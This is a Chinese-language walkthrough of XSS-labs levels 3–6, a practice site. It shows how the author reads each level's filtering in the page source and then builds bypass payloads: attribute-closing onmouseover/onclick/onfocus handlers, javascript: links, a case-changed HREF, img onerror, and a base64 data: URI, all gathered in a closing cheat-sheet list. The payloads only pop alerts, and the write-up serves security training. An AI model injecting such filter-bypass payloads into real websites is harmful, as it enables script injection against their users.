Xss-labs-level3-6
level3
輸入常規的測試xss程式碼:<script>alert(/bmfx/)</script>
檢視網頁原始碼確認已經使用了htmlspecialchars進行html實體化,所以需要使用js的觸發事件功能進行測試,如下所示:
' onmouseover='javascript:alert(2) onmouseover事件-當滑鼠指標移動到指定物件的時候觸發js ' onclick='javascript:alert(2) onclick事件-當按鈕被點選的時候觸發js ' onfocus='javascript:alert(/bmfx/) onfocus事件-當滑鼠點選輸入框且輸入框被選中可以輸入內容的時候觸發js
level4
" onclick='javascript:alert(2)'" " onfocus='javascript:alert(/bmfx/)'" " onmouseover='javascript:alert(2)'"
此關卡測試方式跟level3的思路一樣,只是閉合方式改變了,具體測試程式碼如上,看看測試結果:
level5
挖掘xss漏洞,首先輸入下面兩個正常和常規的測試程式碼,然後檢視網頁原始碼看看服務端做了哪些防護操作
bmfx
<script>alert(/bmfx/)</script>
根據顯示結果,發現對script,onclick等類似的觸發事件標籤都進行了篡改,所以此處無法使用此類標籤,嘗試使用 a href進行利用,同樣首先使用一個常規的測試程式碼
<a href=javascript:alert('bmfx') >bmfx</a> 然後檢視網頁原始碼顯示如下:
<input name=keyword value="<a href=javascript:alert('bmfx') >bmfx</a>">
根據上面顯示,那麼我們需要閉合前面的雙引號和小於號和註釋後面的雙引號和大於號,最終得到如下結果:
"> <a href=javascript:alert('bmfx') >bmfx</a> //
level6
同樣常規操作,發現此關卡針對href進行了破壞篡改,所以根據網頁原始碼顯示結果,構造瞭如下測試程式碼
"> <a HREF="javascript:alert('bmfx')">bmfx</a> //
總結:
1. 測試xss的時候,先正常輸入普通字元,或者類似html的標籤,比如<b>之類的,看看顯示結果和對應的網頁原始碼資訊
2. 之後根據上述顯示的資訊進行繞過測試
3. 常見的繞過測試程式碼如下
<script>alert(/xx/)</script>
"> <script>alert(/bmfx/)</script> //
" onclick='javascript:alert(2)'"
" onfocus='javascript:alert(/bmfx/)'"
" onmouseover='javascript:alert(2)'"
<img src=998 onerror=alert('bmfx')>
"> <a href=javascript:alert('bmfx') >bmfx</a> //
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=">bmfx</a>